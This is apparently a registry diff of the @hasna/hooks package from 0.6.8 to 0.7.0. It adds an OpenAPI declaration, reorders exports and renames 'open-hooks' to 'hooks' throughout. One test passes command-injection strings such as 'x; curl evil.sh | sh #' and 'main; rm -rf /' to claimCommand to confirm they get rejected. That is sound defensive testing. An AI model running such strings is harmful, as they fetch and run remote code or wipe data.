@hasna/hooks 0.6.8 → 0.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (33) hide show
  1. package/README.md +1 -1
  2. package/bin/index.js +886 -418
  3. package/bin/serve.js +613 -148
  4. package/dist/config.d.ts +7 -5
  5. package/dist/db/pg-migrations.d.ts +1 -1
  6. package/dist/index.js +788 -326
  7. package/dist/openapi.d.ts +216 -0
  8. package/dist/storage.js +34 -34
  9. package/hooks/codewith-native-common.test.ts +25 -25
  10. package/hooks/codewith-native-common.ts +1 -1
  11. package/hooks/hook-autoformat/package.json +1 -1
  12. package/hooks/hook-desktopnotify/package.json +1 -1
  13. package/hooks/hook-envsetup/package.json +1 -1
  14. package/hooks/hook-knowledge-context/README.md +1 -1
  15. package/hooks/hook-knowledge-context/src/hook.test.ts +1 -1
  16. package/hooks/hook-permissionguard/package.json +1 -1
  17. package/hooks/hook-protectfiles/package.json +1 -1
  18. package/hooks/hook-spiral-detector/LICENSE +191 -0
  19. package/hooks/hook-spiral-detector/README.md +23 -0
  20. package/hooks/hook-spiral-detector/package.json +12 -0
  21. package/hooks/hook-spiral-detector/src/hook.test.ts +72 -0
  22. package/hooks/hook-spiral-detector/src/hook.ts +93 -0
  23. package/hooks/hook-workspace-repos-guard/README.md +4 -3
  24. package/hooks/hook-workspace-repos-guard/src/hook.test.ts +7 -7
  25. package/hooks/hook-workspace-repos-guard/src/hook.ts +5 -3
  26. package/hooks/mention-context/src/hasna-mention-context.py +2 -2
  27. package/hooks/mention-context/src/hasna-mention-warm.py +1 -1
  28. package/hooks/pre-bash/README.md +1 -1
  29. package/hooks/prompt-guard/README.md +1 -1
  30. package/hooks/session-start/README.md +1 -1
  31. package/hooks/stop-sync/README.md +1 -1
  32. package/hooks/worktree-guard/README.md +1 -1
  33. package/package.json +10 -6
@@ -0,0 +1,216 @@
1
+ export declare const openApiDocument: {
2
+ readonly openapi: "3.1.0";
3
+ readonly info: {
4
+ readonly title: "Hooks Registry API";
5
+ readonly version: "0.1.0";
6
+ readonly description: "Local registry HTTP API for @hasna/hooks: catalog, lock, and artifact reads are open; publishing (PUT /api/v1/hooks) requires the API key (authorization: Bearer or x-api-key).";
7
+ };
8
+ readonly servers: readonly [{
9
+ readonly url: "/";
10
+ }];
11
+ readonly paths: {
12
+ readonly "/health": {
13
+ readonly get: {
14
+ readonly summary: "Liveness probe";
15
+ readonly operationId: "getHealth";
16
+ readonly responses: {
17
+ readonly "200": {
18
+ readonly description: "Service is alive";
19
+ readonly content: {
20
+ readonly "application/json": {
21
+ readonly schema: {
22
+ readonly type: "object";
23
+ readonly additionalProperties: true;
24
+ };
25
+ };
26
+ };
27
+ };
28
+ };
29
+ };
30
+ };
31
+ readonly "/ready": {
32
+ readonly get: {
33
+ readonly summary: "Readiness probe — the hooks.lock store is readable";
34
+ readonly operationId: "getReady";
35
+ readonly responses: {
36
+ readonly "200": {
37
+ readonly description: "Lock store is readable";
38
+ };
39
+ readonly "503": {
40
+ readonly description: "Lock store is not readable";
41
+ };
42
+ };
43
+ };
44
+ };
45
+ readonly "/version": {
46
+ readonly get: {
47
+ readonly summary: "Package version";
48
+ readonly operationId: "getVersion";
49
+ readonly responses: {
50
+ readonly "200": {
51
+ readonly description: "The installed @hasna/hooks version";
52
+ readonly content: {
53
+ readonly "application/json": {
54
+ readonly schema: {
55
+ readonly type: "object";
56
+ readonly properties: {
57
+ readonly version: {
58
+ readonly type: "string";
59
+ };
60
+ };
61
+ };
62
+ };
63
+ };
64
+ };
65
+ };
66
+ };
67
+ };
68
+ readonly "/openapi.json": {
69
+ readonly get: {
70
+ readonly summary: "This OpenAPI document";
71
+ readonly operationId: "getOpenApi";
72
+ readonly responses: {
73
+ readonly "200": {
74
+ readonly description: "OpenAPI 3.1 document";
75
+ };
76
+ };
77
+ };
78
+ };
79
+ readonly "/api/v1/catalog": {
80
+ readonly get: {
81
+ readonly summary: "List the full hook catalog with versions and sha256";
82
+ readonly operationId: "getCatalog";
83
+ readonly responses: {
84
+ readonly "200": {
85
+ readonly description: "Catalog entries";
86
+ readonly content: {
87
+ readonly "application/json": {
88
+ readonly schema: {
89
+ readonly type: "object";
90
+ readonly properties: {
91
+ readonly hooks: {
92
+ readonly type: "array";
93
+ readonly items: {
94
+ readonly type: "object";
95
+ readonly properties: {
96
+ readonly name: {
97
+ readonly type: "string";
98
+ };
99
+ readonly version: {
100
+ readonly type: "string";
101
+ };
102
+ readonly sha256: {
103
+ readonly type: "string";
104
+ };
105
+ readonly events: {
106
+ readonly type: "array";
107
+ readonly items: {
108
+ readonly type: "string";
109
+ };
110
+ };
111
+ };
112
+ };
113
+ };
114
+ };
115
+ };
116
+ };
117
+ };
118
+ };
119
+ };
120
+ };
121
+ };
122
+ readonly "/api/v1/lock": {
123
+ readonly get: {
124
+ readonly summary: "Read the published hooks.lock with per-hook versions";
125
+ readonly operationId: "getLock";
126
+ readonly responses: {
127
+ readonly "200": {
128
+ readonly description: "The lock file";
129
+ };
130
+ };
131
+ };
132
+ };
133
+ readonly "/api/v1/hooks/{name}/{version}": {
134
+ readonly get: {
135
+ readonly summary: "Fetch one hook's manifest and script";
136
+ readonly operationId: "getHookArtifact";
137
+ readonly parameters: readonly [{
138
+ readonly name: "name";
139
+ readonly in: "path";
140
+ readonly required: true;
141
+ readonly schema: {
142
+ readonly type: "string";
143
+ };
144
+ }, {
145
+ readonly name: "version";
146
+ readonly in: "path";
147
+ readonly required: true;
148
+ readonly schema: {
149
+ readonly type: "string";
150
+ };
151
+ }];
152
+ readonly responses: {
153
+ readonly "200": {
154
+ readonly description: "Hook artifact; x-hook-sha256 header carries the script hash";
155
+ };
156
+ readonly "400": {
157
+ readonly description: "Invalid URL encoding or semver version";
158
+ };
159
+ readonly "404": {
160
+ readonly description: "Hook not found locally";
161
+ };
162
+ };
163
+ };
164
+ };
165
+ readonly "/api/v1/hooks": {
166
+ readonly put: {
167
+ readonly summary: "Publish/retrust a hook (requires the API key)";
168
+ readonly operationId: "putHook";
169
+ readonly requestBody: {
170
+ readonly required: true;
171
+ readonly content: {
172
+ readonly "application/json": {
173
+ readonly schema: {
174
+ readonly type: "object";
175
+ readonly properties: {
176
+ readonly name: {
177
+ readonly type: "string";
178
+ };
179
+ readonly version: {
180
+ readonly type: "string";
181
+ };
182
+ };
183
+ };
184
+ };
185
+ };
186
+ };
187
+ readonly responses: {
188
+ readonly "200": {
189
+ readonly description: "Hook retrusted and pin updated";
190
+ };
191
+ readonly "401": {
192
+ readonly description: "Missing or invalid API key";
193
+ };
194
+ readonly "404": {
195
+ readonly description: "Hook not found in local store";
196
+ };
197
+ readonly "409": {
198
+ readonly description: "Version mismatch with the local store";
199
+ };
200
+ };
201
+ readonly security: readonly [{
202
+ readonly apiKey: readonly [];
203
+ }];
204
+ };
205
+ };
206
+ };
207
+ readonly components: {
208
+ readonly securitySchemes: {
209
+ readonly apiKey: {
210
+ readonly type: "http";
211
+ readonly scheme: "bearer";
212
+ readonly description: "The registry API key (HASNA_HOOKS_API_KEY / HOOKS_API_KEY).";
213
+ };
214
+ };
215
+ };
216
+ };
package/dist/storage.js CHANGED
@@ -49,7 +49,7 @@ function up(db) {
49
49
  db.exec(idx);
50
50
  }
51
51
  }
52
- var init_001_initial = __esm(() => {
52
+ var init__001_initial = __esm(() => {
53
53
  init_schema();
54
54
  });
55
55
 
@@ -78,7 +78,7 @@ function up2(db) {
78
78
  throw err;
79
79
  }
80
80
  }
81
- var init_002_session_events = __esm(() => {
81
+ var init__002_session_events = __esm(() => {
82
82
  init_schema();
83
83
  });
84
84
 
@@ -107,7 +107,7 @@ function up3(db) {
107
107
  throw err;
108
108
  }
109
109
  }
110
- var init_003_user_prompt_submit_event = __esm(() => {
110
+ var init__003_user_prompt_submit_event = __esm(() => {
111
111
  init_schema();
112
112
  });
113
113
 
@@ -131,7 +131,7 @@ var CREATE_HOOKS_TABLE = `
131
131
  last_verified_at TEXT
132
132
  )
133
133
  `, CREATE_HOOKS_INDEXES;
134
- var init_004_hooks_table = __esm(() => {
134
+ var init__004_hooks_table = __esm(() => {
135
135
  CREATE_HOOKS_INDEXES = [
136
136
  `CREATE INDEX IF NOT EXISTS idx_hooks_name ON hooks (name)`
137
137
  ];
@@ -162,7 +162,7 @@ function up5(db) {
162
162
  throw err;
163
163
  }
164
164
  }
165
- var init_005_subagent_start_event = __esm(() => {
165
+ var init__005_subagent_start_event = __esm(() => {
166
166
  init_schema();
167
167
  });
168
168
 
@@ -194,11 +194,11 @@ function runMigrations(db) {
194
194
  }
195
195
  var MIGRATIONS;
196
196
  var init_migrations = __esm(() => {
197
- init_001_initial();
198
- init_002_session_events();
199
- init_003_user_prompt_submit_event();
200
- init_004_hooks_table();
201
- init_005_subagent_start_event();
197
+ init__001_initial();
198
+ init__002_session_events();
199
+ init__003_user_prompt_submit_event();
200
+ init__004_hooks_table();
201
+ init__005_subagent_start_event();
202
202
  MIGRATIONS = [
203
203
  { version: "001_initial", up },
204
204
  { version: "002_session_events", up: up2 },
@@ -888,29 +888,29 @@ function coerceForSqlite(value) {
888
888
  return String(value);
889
889
  }
890
890
  export {
891
- storageSync,
892
- storagePush,
893
- storagePull,
894
- runStorageMigrations,
895
- resolveTables,
896
- parseStorageTables,
897
- getSyncMetaAll,
898
- getStorageStatus,
899
- getStoragePg,
900
- getStorageDatabaseUrl,
901
- getStorageDatabaseEnvName,
902
- getStorageDatabaseEnv,
903
- getStorageBackend,
904
- STORAGE_TABLES,
905
- STORAGE_DATABASE_ENV,
906
- STORAGE_BACKEND_ENV,
907
- STORAGE_BACKENDS,
908
- RETIRED_STORAGE_MODE_ENV,
909
- PgAdapterAsync,
910
- PG_MIGRATIONS,
911
- HOOKS_STORAGE_TABLES,
912
- HOOKS_STORAGE_FALLBACK_ENV,
913
- HOOKS_STORAGE_ENV,
891
+ HOOKS_STORAGE_BACKEND_ENV,
914
892
  HOOKS_STORAGE_BACKEND_FALLBACK_ENV,
915
- HOOKS_STORAGE_BACKEND_ENV
893
+ HOOKS_STORAGE_ENV,
894
+ HOOKS_STORAGE_FALLBACK_ENV,
895
+ HOOKS_STORAGE_TABLES,
896
+ PG_MIGRATIONS,
897
+ PgAdapterAsync,
898
+ RETIRED_STORAGE_MODE_ENV,
899
+ STORAGE_BACKENDS,
900
+ STORAGE_BACKEND_ENV,
901
+ STORAGE_DATABASE_ENV,
902
+ STORAGE_TABLES,
903
+ getStorageBackend,
904
+ getStorageDatabaseEnv,
905
+ getStorageDatabaseEnvName,
906
+ getStorageDatabaseUrl,
907
+ getStoragePg,
908
+ getStorageStatus,
909
+ getSyncMetaAll,
910
+ parseStorageTables,
911
+ resolveTables,
912
+ runStorageMigrations,
913
+ storagePull,
914
+ storagePush,
915
+ storageSync
916
916
  };
@@ -85,11 +85,11 @@ describe("codewith native common helpers", () => {
85
85
  };
86
86
 
87
87
  test("accepts the canonical <repo-name>/<worktree-name> worktree root", () => {
88
- const worktreeRoot = makeWorktree("open-hooks", "OPE61-00004-worktree-guard");
88
+ const worktreeRoot = makeWorktree("hooks", "OPE61-00004-worktree-guard");
89
89
  const info = managedWorktreeInfo(worktreeRoot);
90
90
  expect(info.managed).toBe(true);
91
91
  expect(info.layout).toBe("canonical");
92
- expect(info.repo).toBe("open-hooks");
92
+ expect(info.repo).toBe("hooks");
93
93
  expect(info.worktree).toBe("OPE61-00004-worktree-guard");
94
94
  expect(info.worktreeRoot).toBe(worktreeRoot);
95
95
  expect(info.deprecated).toBeUndefined();
@@ -97,7 +97,7 @@ describe("codewith native common helpers", () => {
97
97
 
98
98
  test("accepts a canonical path whose checkout is a standalone repo", () => {
99
99
  // Rule 8 governs where the checkout lives, not whether it is a linked worktree.
100
- expect(managedWorktreeInfo(makeWorktree("open-hooks", "standalone", "standalone")).managed).toBe(true);
100
+ expect(managedWorktreeInfo(makeWorktree("hooks", "standalone", "standalone")).managed).toBe(true);
101
101
  });
102
102
 
103
103
  test("rejects a forged .git file that grafts the path onto a shared checkout", () => {
@@ -143,7 +143,7 @@ describe("codewith native common helpers", () => {
143
143
 
144
144
  test("rejects a worktree whose repository no longer registers it", () => {
145
145
  // Real fleet state: the parent repo was pruned, so git itself refuses to work here.
146
- const worktreeRoot = makeWorktree("open-hooks", "orphaned");
146
+ const worktreeRoot = makeWorktree("hooks", "orphaned");
147
147
  rmSync(join(tmp, "..", "unused"), { recursive: true, force: true });
148
148
  writeFileSync(join(worktreeRoot, ".git"), "gitdir: /nonexistent/.git/worktrees/orphaned\n");
149
149
 
@@ -151,7 +151,7 @@ describe("codewith native common helpers", () => {
151
151
  });
152
152
 
153
153
  test("accepts subdirectories of a canonical worktree", () => {
154
- const worktreeRoot = makeWorktree("open-hooks", "OPE61-00004-worktree-guard");
154
+ const worktreeRoot = makeWorktree("hooks", "OPE61-00004-worktree-guard");
155
155
  mkdirSync(join(worktreeRoot, "hooks", "worktree-guard", "src"), { recursive: true });
156
156
 
157
157
  for (const nested of [
@@ -168,7 +168,7 @@ describe("codewith native common helpers", () => {
168
168
  test("rejects a subdirectory of a flat worktree, which has the canonical shape", () => {
169
169
  // The whole point of the flat prohibition: `<root>/<flat-wt>/<subdir>` is
170
170
  // shape-identical to `<root>/<repo>/<worktree>`, so a `cd` must not launder it.
171
- const flat = join(root, "open-hooks-flat-worktree");
171
+ const flat = join(root, "hooks-flat-worktree");
172
172
  mkdirSync(join(flat, "src"), { recursive: true });
173
173
  git(makeSourceRepo(), "worktree", "add", "-q", "--detach", join(flat, "checkout"));
174
174
 
@@ -188,17 +188,17 @@ describe("codewith native common helpers", () => {
188
188
  const shared = join(tmp, "shared-checkout");
189
189
  mkdirSync(shared, { recursive: true });
190
190
  writeFileSync(join(shared, ".git"), "gitdir: /elsewhere\n");
191
- mkdirSync(join(root, "open-hooks"), { recursive: true });
192
- symlinkSync(shared, join(root, "open-hooks", "linked"));
191
+ mkdirSync(join(root, "hooks"), { recursive: true });
192
+ symlinkSync(shared, join(root, "hooks", "linked"));
193
193
  symlinkSync(join(tmp, "shared-checkout"), join(root, "linked-repo"));
194
194
  mkdirSync(join(tmp, "shared-checkout", "wt"), { recursive: true });
195
195
 
196
- expect(managedWorktreeInfo(join(root, "open-hooks", "linked")).reason).toContain("traverses a symlink");
196
+ expect(managedWorktreeInfo(join(root, "hooks", "linked")).reason).toContain("traverses a symlink");
197
197
  expect(managedWorktreeInfo(join(root, "linked-repo", "wt")).reason).toContain("traverses a symlink");
198
198
  });
199
199
 
200
200
  test("rejects a flat single-segment worktree under the worktrees root", () => {
201
- const info = managedWorktreeInfo(join(root, "open-hooks-flat-worktree"));
201
+ const info = managedWorktreeInfo(join(root, "hooks-flat-worktree"));
202
202
  expect(info.managed).toBe(false);
203
203
  expect(info.layout).toBeUndefined();
204
204
  expect(info.reason).toContain("flat under the worktrees root");
@@ -212,19 +212,19 @@ describe("codewith native common helpers", () => {
212
212
  });
213
213
 
214
214
  test("rejects paths outside the worktrees root", () => {
215
- const info = managedWorktreeInfo(join(tmp, "elsewhere", "open-hooks"));
215
+ const info = managedWorktreeInfo(join(tmp, "elsewhere", "hooks"));
216
216
  expect(info.managed).toBe(false);
217
217
  expect(info.reason).toBe("outside worktrees root");
218
218
  });
219
219
 
220
220
  test("rejects a station-id segment in front of <repo>/<worktree>", () => {
221
- const info = managedWorktreeInfo(join(root, "station01", "open-hooks", "OPE61-00004-worktree-guard"));
221
+ const info = managedWorktreeInfo(join(root, "station01", "hooks", "OPE61-00004-worktree-guard"));
222
222
  expect(info.managed).toBe(false);
223
223
  expect(info.reason).toContain("station-id/machine segment or extra nesting");
224
224
  expect(info.reason).toContain(join(root, "<repo-name>", "<worktree-name>"));
225
225
  });
226
226
 
227
- const LEASE = ["station01", "open-hooks-a55c105a", "wt_2ab04216a30ef5ece642792e"];
227
+ const LEASE = ["station01", "hooks-a55c105a", "wt_2ab04216a30ef5ece642792e"];
228
228
 
229
229
  /** The historical lease layout, with the checkout at the lease dir or in `repo/`. */
230
230
  const makeLeaseWorktree = (nested: boolean): string => {
@@ -278,7 +278,7 @@ describe("codewith native common helpers", () => {
278
278
  });
279
279
 
280
280
  test("rejects nesting deeper than the canonical shape", () => {
281
- const info = managedWorktreeInfo(join(root, "station01", "open-hooks", "wt-name", "repo"));
281
+ const info = managedWorktreeInfo(join(root, "station01", "hooks", "wt-name", "repo"));
282
282
  expect(info.managed).toBe(false);
283
283
  expect(info.layout).toBeUndefined();
284
284
  expect(info.reason).toContain("station-id/machine segment or extra nesting");
@@ -286,9 +286,9 @@ describe("codewith native common helpers", () => {
286
286
 
287
287
  test("rejects malformed canonical segments", () => {
288
288
  expect(managedWorktreeInfo(join(root, "-bad-repo", "worktree")).reason).toContain("repo-name segment is malformed");
289
- expect(managedWorktreeInfo(join(root, "open-hooks", "-bad-worktree")).reason).toContain("worktree-name segment is malformed");
289
+ expect(managedWorktreeInfo(join(root, "hooks", "-bad-worktree")).reason).toContain("worktree-name segment is malformed");
290
290
  expect(managedWorktreeInfo(join(root, ".hidden", "worktree")).reason).toContain("repo-name segment is malformed");
291
- expect(managedWorktreeInfo(join(root, "open-hooks", ".git")).reason).toContain("worktree-name segment is malformed");
291
+ expect(managedWorktreeInfo(join(root, "hooks", ".git")).reason).toContain("worktree-name segment is malformed");
292
292
  });
293
293
 
294
294
  test("accepts ordinary directory names an allowlist would wrongly reject", () => {
@@ -297,7 +297,7 @@ describe("codewith native common helpers", () => {
297
297
  for (const [repo, worktree] of [
298
298
  ["connectors", "_base"],
299
299
  ["c++utils", "OPE61-00004"],
300
- ["open-hooks", "e".repeat(200)],
300
+ ["hooks", "e".repeat(200)],
301
301
  ["Open-Hooks", "task~1 with spaces"],
302
302
  ]) {
303
303
  expect(managedWorktreeInfo(makeWorktree(repo!, worktree!)).managed, `${repo}/${worktree}`).toBe(true);
@@ -310,12 +310,12 @@ describe("codewith native common helpers", () => {
310
310
  process.env.HASNA_REPOS_WORKTREES_ROOT = "/root/worktrees";
311
311
  try {
312
312
  // The canonical repo name comes from the repos CLI, and is frequently not the
313
- // git remote basename: `open-hooks` is `github.com/hasna/hooks`.
314
- expect(claimCommand("open-hooks", "OPE61-00004", "main")).toBe(
315
- "git worktree add -b OPE61-00004 /root/worktrees/open-hooks/OPE61-00004 origin/main && repos scan",
313
+ // git remote basename: `hooks` is `github.com/hasna/hooks`.
314
+ expect(claimCommand("hooks", "OPE61-00004", "main")).toBe(
315
+ "git worktree add -b OPE61-00004 /root/worktrees/hooks/OPE61-00004 origin/main && repos scan",
316
316
  );
317
317
  expect(claimCommand(null, null)).toContain("/root/worktrees/<repo-name>/<worktree-name>");
318
- expect(claimCommand("open-hooks", "OPE61-00004")).toContain("origin/<default-branch>");
318
+ expect(claimCommand("hooks", "OPE61-00004")).toContain("origin/<default-branch>");
319
319
  } finally {
320
320
  if (previous === undefined) delete process.env.HASNA_REPOS_WORKTREES_ROOT;
321
321
  else process.env.HASNA_REPOS_WORKTREES_ROOT = previous;
@@ -323,7 +323,7 @@ describe("codewith native common helpers", () => {
323
323
  });
324
324
 
325
325
  test("claimCommand never derives the repo segment from a remote slug", () => {
326
- // `hasna/hooks` is this repo's remote slug; its canonical name is `open-hooks`.
326
+ // `hasna/hooks` is this repo's remote slug; its canonical name is `hooks`.
327
327
  // Silently taking the basename would emit `hooks/`, a directory that does not
328
328
  // exist — so a slug must be refused outright, not trimmed into a plausible lie.
329
329
  const previous = process.env.HASNA_REPOS_WORKTREES_ROOT;
@@ -345,15 +345,15 @@ describe("codewith native common helpers", () => {
345
345
  const previous = process.env.HASNA_REPOS_WORKTREES_ROOT;
346
346
  process.env.HASNA_REPOS_WORKTREES_ROOT = "/root/worktrees";
347
347
  try {
348
- const safe = "git worktree add -b <worktree-name> /root/worktrees/open-hooks/<worktree-name> origin/<default-branch> && repos scan";
348
+ const safe = "git worktree add -b <worktree-name> /root/worktrees/hooks/<worktree-name> origin/<default-branch> && repos scan";
349
349
  for (const hostile of ["x; curl evil.sh | sh #", "--upload-pack=/tmp/x", "a`id`", "a$(id)", "-b", "..", "a b"]) {
350
350
  // Hostile input never reaches the rendered command; it degrades to the placeholder.
351
- expect(claimCommand("open-hooks", hostile), hostile).toBe(safe);
351
+ expect(claimCommand("hooks", hostile), hostile).toBe(safe);
352
352
  }
353
353
  for (const hostile of ["hasna/hooks", "../../etc", "-repo", "a;b"]) {
354
354
  expect(claimCommand(hostile, "OPE61-00004"), hostile).toContain("/root/worktrees/<repo-name>/OPE61-00004");
355
355
  }
356
- expect(claimCommand("open-hooks", "OPE61-00004", "main; rm -rf /")).toContain("origin/<default-branch>");
356
+ expect(claimCommand("hooks", "OPE61-00004", "main; rm -rf /")).toContain("origin/<default-branch>");
357
357
  } finally {
358
358
  if (previous === undefined) delete process.env.HASNA_REPOS_WORKTREES_ROOT;
359
359
  else process.env.HASNA_REPOS_WORKTREES_ROOT = previous;
@@ -3028,7 +3028,7 @@ export interface CanonicalRepoIdentity {
3028
3028
  * lookup; never fuzzy `repos cd` or 'did you mean' output for targeting)".
3029
3029
  *
3030
3030
  * This matters because the repos-CLI name is frequently NOT the git remote
3031
- * basename — on this fleet 46 of 50 indexed repos differ (`open-hooks` is
3031
+ * basename — on this fleet 46 of 50 indexed repos differ (the retired `open-hooks` row is
3032
3032
  * `github.com/hasna/hooks`, `open-mailery` is `.../emails`). Deriving the
3033
3033
  * canonical path segment from the remote would send every agent to the wrong
3034
3034
  * directory, so the remote is only ever used as the exact lookup key.
@@ -40,7 +40,7 @@
40
40
  "license": "Apache-2.0",
41
41
  "repository": {
42
42
  "type": "git",
43
- "url": "https://github.com/hasna/open-hooks.git"
43
+ "url": "https://github.com/hasna/hooks.git"
44
44
  },
45
45
  "publishConfig": {
46
46
  "access": "public",
@@ -39,7 +39,7 @@
39
39
  "license": "Apache-2.0",
40
40
  "repository": {
41
41
  "type": "git",
42
- "url": "https://github.com/hasna/open-hooks.git"
42
+ "url": "https://github.com/hasna/hooks.git"
43
43
  },
44
44
  "publishConfig": {
45
45
  "access": "public",
@@ -40,7 +40,7 @@
40
40
  "license": "Apache-2.0",
41
41
  "repository": {
42
42
  "type": "git",
43
- "url": "https://github.com/hasna/open-hooks.git"
43
+ "url": "https://github.com/hasna/hooks.git"
44
44
  },
45
45
  "publishConfig": {
46
46
  "access": "public",
@@ -11,7 +11,7 @@ hooks install knowledge-context --target codewith
11
11
  ```
12
12
 
13
13
  By default this prints a Codewith TOML fragment and does not mutate managed
14
- Codewith config. Apply that fragment through `open-configs` or the managed
14
+ Codewith config. Apply that fragment through `configs` or the managed
15
15
  config renderer. For explicit local testing only:
16
16
 
17
17
  ```bash
@@ -208,7 +208,7 @@ describe("hook-knowledge-context", () => {
208
208
  "review staged diff",
209
209
  "rerun tests",
210
210
  ]) {
211
- expect(promptSignalScore(prompt, "/home/hasna/workspace/hasna/opensource/open-hooks")).toBeGreaterThanOrEqual(3);
211
+ expect(promptSignalScore(prompt, "/home/hasna/workspace/hasna/opensource/hooks")).toBeGreaterThanOrEqual(3);
212
212
  }
213
213
  });
214
214
 
@@ -40,7 +40,7 @@
40
40
  "license": "Apache-2.0",
41
41
  "repository": {
42
42
  "type": "git",
43
- "url": "https://github.com/hasna/open-hooks.git"
43
+ "url": "https://github.com/hasna/hooks.git"
44
44
  },
45
45
  "publishConfig": {
46
46
  "access": "public",
@@ -40,7 +40,7 @@
40
40
  "license": "Apache-2.0",
41
41
  "repository": {
42
42
  "type": "git",
43
- "url": "https://github.com/hasna/open-hooks.git"
43
+ "url": "https://github.com/hasna/hooks.git"
44
44
  },
45
45
  "publishConfig": {
46
46
  "access": "public",